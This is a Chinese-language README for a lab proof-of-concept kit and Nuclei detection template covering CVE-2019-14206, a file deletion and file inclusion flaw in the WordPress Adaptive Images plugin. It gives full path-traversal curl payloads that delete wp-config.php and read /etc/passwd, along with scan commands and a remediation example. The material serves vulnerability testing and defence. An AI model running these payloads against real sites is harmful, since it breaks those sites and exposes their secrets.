CVE-ID: CVE-2019-14206
严重性: 高危 (CVSS 6.5)
受影响插件: WordPress自适应图片
受影响版本: < 0.6.67
此漏洞允许未经身份验证的远程攻击者通过利用Adaptive Images插件 删除WordPress服务器上的任意文件。
// 插件直接使用用户输入,未进行清理
$settings = $_REQUEST['adaptive-images-settings'];
// 使用攻击者可控的参数构建文件路径
$cache_file = $wp_content . '/' . $cache_dir . '/' . $resolution . $request_uri;
// 删除任意文件
unlink($cache_file);
# 检查Nuclei
nuclei --version
# 检查Bash
bash --version
# 检查curl
curl --version
# 检查PHP(可选)
php --version 2>/dev/null || echo "PHP不可用(可选)"
# 如果在nuclei-templates目录下
cd /Volumes/Codingsh/experimentos/nuclei-templates
# 或者下载所需文件
git clone https://github.com/projectdiscovery/nuclei-templates.git
cd nuclei-templates
# 检查文件是否存在
ls -la http/cves/2019/CVE-2019-14206.yaml
ls -la cve-2019-14206-poc/
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
chmod +x docker-test.sh
chmod +x docker-test-full.sh
chmod +x vulnerability-demo.sh
chmod +x local-test.sh
chmod +x real-target-test.sh
运行模拟完整利用过程的演示:
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
./docker-test.sh
执行过程:
预期输出:
[🎉] SUCCESS: wp-config.php DELETED!
[!!!] WORDPRESS SITE IS NOW BROKEN!
✅ Vulnerability: CVE-2019-14206 confirmed
✅ Template Status: Production ready
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
# 如果Docker正在运行
docker-compose up -d
# 如果Docker未运行,使用模拟器
./docker-test-full.sh
# 环境将在以下地址可用
# http://localhost:8888
# 检查漏洞脚本是否存在
curl http://localhost:8888/wp-content/plugins/adaptive-images/adaptive-images-script.php
# LFI测试
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"
# 文件删除测试
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"
# 检查wp-config.php是否被删除
ls -la /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test/wp-config.php
# 创建目标文件
cat > targets.txt << 'EOF'
http://localhost:8888
https://target-wordpress-site.com
EOF
# 基础扫描
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt
# 详细扫描
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -v
# 调试扫描(挖漏洞必备)
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -debug
# 保存结果
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -o results.txt
# 查看结果
cat results.txt
# 阳性结果将包含:
# [CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test
php -S localhost:8888
# 尝试读取/etc/passwd
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"
# 尝试读取wp-config.php
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../wp-config.php"
预期LFI结果:
=== CVE-2019-14206 Vulnerability Test ===
[*] Settings received:
source_file = /etc/passwd
...
[*] Cache file: /var/www/html/wp-content/ai-cache/1920/etc/passwd
[*] Source file: /etc/passwd
# 检查wp-config.php之前是否存在
ls -la wp-config.php
# 执行利用
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"
# 检查wp-config.php之后是否被删除
ls -la wp-config.php
预期文件删除结果:
[+] SUCCESS: Arbitrary file deletion vulnerability confirmed!
[+] Target file deleted: ./../../..//wp-config.php
[CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion
http://target-wordpress-site.com/wp-content/plugins/adaptive-images/adaptive-images-script.php
匹配器已匹配:
- 插件已检测
- LFI漏洞已确认
- 任意文件删除可能
[N/A] 未发现结果
# 移除Docker环境
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
docker-compose down -v 2>/dev/null
# 移除测试文件
rm -rf docker-test/
rm -f targets.txt results.txt
# 恢复wp-config.php(如被删除)
cat > wp-config.php << 'EOF'
<?php
// 已恢复文件
define('DB_NAME', 'wordpress');
EOF
# 删除扫描结果
rm -f results.txt
# 清除缓存(可选)
nuclei -rm-cache
# 安装Nuclei
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
# 或下载二进制文件
wget https://github.com/projectdiscovery/nuclei/releases/download/v3.0.0/nuclei-linux-amd64.zip
unzip nuclei-linux-amd64.zip
chmod +x nuclei
sudo mv nuclei /usr/local/bin/
# 检查文件是否存在
ls -la http/cves/2019/CVE-2019-14206.yaml
# 检查YAML语法
python3 -c "import yaml; yaml.safe_load(open('http/cves/2019/CVE-2019-14206.yaml'))"
# 使用绝对路径
nuclei -t /Volumes/Codingsh/experimentos/nuclei-templates/http/cves/2019/CVE-2019-14206.yaml -u http://target
# 检查端口
lsof -i :8888
# 使用不同端口
php -S localhost:9999
# 检查PHP是否安装
which php
php --version
# 检查Docker状态
docker ps
# 启动Docker
# macOS:打开Docker Desktop
# Linux:sudo systemctl start docker
# 使用模拟模式(无需Docker)
./docker-test-full.sh
更新插件:
WordPress后台 > 插件 > 更新Adaptive Images
安全版本: >= 0.6.67
删除漏洞插件:
rm -rf wp-content/plugins/adaptive-images/
// ✅ 安全代码(修复示例)
function adaptive_images_script_get_settings() {
// 清理输入
$allowed_keys = ['cache_dir', 'resolution', 'request_uri'];
$settings = [];
foreach ($allowed_keys as $key) {
if (isset($_REQUEST['adaptive-images-settings'][$key])) {
$settings[$key] = sanitize_text_field($_REQUEST['adaptive-images-settings'][$key]);
}
}
return $settings;
}
function adaptive_images_delete_stale_cache_image($source_file, $cache_file, $resolution) {
// 验证路径
$allowed_cache_dirs = ['ai-cache', 'adaptive-cache'];
$cache_dir = basename(dirname($cache_file));
if (!in_array($cache_dir, $allowed_cache_dirs)) {
return false; // 拒绝无效路径
}
// 使用已验证的绝对路径
$cache_file = WP_CONTENT_DIR . '/ai-cache/' . basename($cache_file);
if (file_exists($cache_file)) {
unlink($cache_file);
}
}
本材料仅供教育目的和安全测试使用。
作者和贡献者不对以下情况承担任何责任:
如果您在实际系统中发现此漏洞:
本项目演示了:
欢迎贡献!方法如下:
git checkout -b feature/improvement)git commit -am 'Add improvement')git push origin feature/improvement)如有疑问或问题:
🎉 感谢使用本测试材料!
记住:能力越大,责任越大。请用这份知识让互联网更安全,而不是更脆弱。
创建日期: 2026年1月4日
版本: 1.0.0
状态: ✅ 可用于生产环境